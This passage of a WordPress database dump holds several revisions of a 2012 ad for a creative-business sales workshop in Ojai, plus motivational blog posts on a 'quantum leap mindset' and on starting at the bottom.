your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-18', '', '', '2012-03-02 11:53:07', '2012-03-02 18:53:07', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-18/', 0, 'revision', '', 0),
(2028, 2, '2012-03-02 11:59:17', '2012-03-02 18:59:17', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\nThe Quantum Leap\nBusiness Development Workshop</strong></span><strong>\n<span style="color: #db9b04;">Creating Competitive</span>\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\n<span style="color: #333333;">June 15, 2012</span>\n<span style="color: #333333;"> Ojai, California</span>\n</strong></h2>\n<strong>Facilitated by Thomson Dawson\nBusiness Development Consultant to Creative Entrepreneuers</strong>\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\n<h2>Without sales there is no business.</h2>\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\n\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\n\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\n\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\n\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\n<strong>Who should attend?</strong>\n\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\n\n<strong>What you’ll learn:</strong>\n\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and elevate the effectiveness of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\n\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\n\n<strong>• how to develop a value proposition and positioning your busiess to set you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\n\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\n\n<strong>• how to be a value creator rather than an order taker in the sales conversation, leading your clients in the sales process and retaining your power in the buying process.</strong>\n\n<strong>• how to write proposals that win more business.</strong>\n\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\n\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\n\n<strong>The Investment:</strong>\n$600.00 USD per person\nSpecial discount of $100 off for early registration prior to April 30, 2012\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\n\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\n\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\n\n<strong>This workshop is limited to 24 participants.</strong>\n<h1><span style="color: #808080;">Early Registration</span></h1>\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\n<strong></strong>\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage and sales success in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-21', '', '', '2012-03-02 11:59:17', '2012-03-02 18:59:17', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-21/', 0, 'revision', '', 0),
(2026, 2, '2012-03-02 11:55:13', '2012-03-02 18:55:13', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and elevate the effectiveness of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition and positioning your busiess to set you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales conversation, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage and sales success in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-19', '', '', '2012-03-02 11:55:13', '2012-03-02 18:55:13', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-19/', 0, 'revision', '', 0),
(2027, 2, '2012-03-02 11:55:23', '2012-03-02 18:55:23', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and elevate the effectiveness of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition and positioning your busiess to set you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales conversation, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage and sales success in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-20', '', '', '2012-03-02 11:55:23', '2012-03-02 18:55:23', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-20/', 0, 'revision', '', 0),
(2039, 2, '2012-03-12 19:03:34', '2012-03-13 02:03:34', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\r\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\r\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\r\n\r\nBut how?\r\n\r\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\r\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\r\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\r\n\r\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\r\n\r\n<strong>Change your personal rules for the game of success.</strong>\r\n\r\nIn 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”. It’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\r\n\r\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. You''ll need to seek the unexpected result. Here are a few principals and prerequisites that may help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\r\n\r\n<strong>Quit trying harder.</strong>\r\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\r\n\r\n<strong>Ignore conventional approaches.</strong>\r\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\r\n\r\n<strong>Focus on possibilities rather than obstacles.</strong>\r\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\r\n\r\n<strong>Suspend all your disbelief.</strong>\r\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\r\n\r\n<strong>Focus on the end not the means.</strong>\r\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\r\n\r\n<strong>Take different risks</strong>.\r\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\r\n\r\n<strong>Trust the unseen forces.</strong>\r\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\r\n\r\n<strong>Stop wishing and wanting</strong>.\r\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\r\n\r\n<strong>Go looking for failure, then use it.</strong>\r\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\r\n\r\n<strong>Don’t get comfortable.</strong>\r\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\r\n\r\n<strong>Be open to your genius.</strong>\r\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\r\n\r\n<strong>Do what matters to you.</strong>\r\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\r\n\r\n<strong>Move before your ready.</strong>\r\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\r\n\r\n<strong>Look inside for opportunity.</strong>\r\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'publish', 'open', 'open', '', 'the-qualities-of-a-quantum-leap-mindset', '', '', '2012-03-12 19:03:34', '2012-03-13 02:03:34', '', 0, 'http://www.whitehotcenter.com/?p=2039', 0, 'post', '', 2),
(2030, 2, '2012-03-02 11:09:48', '2012-03-02 18:09:48', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business. Watch the video to learn more.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Development Consultant to Creative Entrepreneurs and Solo Professionals.</a>\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including:  designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about any self-employed professional in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-02 11:09:48', '2012-03-02 18:09:48', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-128/', 0, 'revision', '', 0),
(2032, 1, '2012-03-02 13:39:05', '2012-03-02 20:39:05', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe width="490" height="249" src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" allowfullscreen></iframe>\r\n\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business. Watch the video to learn more.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Development Consultant to Creative Entrepreneurs and Solo Professionals.</a>\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including:  designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about any self-employed professional in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-02 13:39:05', '2012-03-02 20:39:05', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-129/', 0, 'revision', '', 0);
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(2062, 2, '2012-05-07 09:54:22', '2012-05-07 16:54:22', '<img class="alignnone size-full wp-image-2063" title="theclimb" src="http://whc.fbdev.org/wp-content/uploads/2012/05/theclimb.jpg" alt="" width="490" height="268" />\r\n<h1><span style="color: #808080;">Creative people running their own business are always looking for useful advice and ideas about getting from where they are now to some elevated place where they want to be. Many know what they want, yet the “how to do it” part remains elusive.</span></h1>\r\nAccomplishment has no silver bullets. Getting things done and making things happen isn’t magic, it’s work–actually it’s great work! I’m sure you’ll agree nothing is more satisfying and fulfilling than turning possibilities into achievement.  The questions I get asked often are “how do I make it happen?” and “where do I start?”\r\n\r\nWhat they really want to know is “how can I start at the top and work up from there?” Few are willing to start something at the bottom. Everybody wants a shortcut to the top.\r\n\r\nDon’t get me wrong, if you find a shortcut–a faster, better, cheaper way to accomplishing your goal, by all means go for it. There are many shortcuts on the road to your success.  The important thing one must understand about shortcuts (better ways to get things done) is they are only made available to you AFTER you start at the bottom.\r\n<h2>Every great accomplishment starts at the bottom. The bottom being the place where you have no prior skill, knowledge or experience. Every 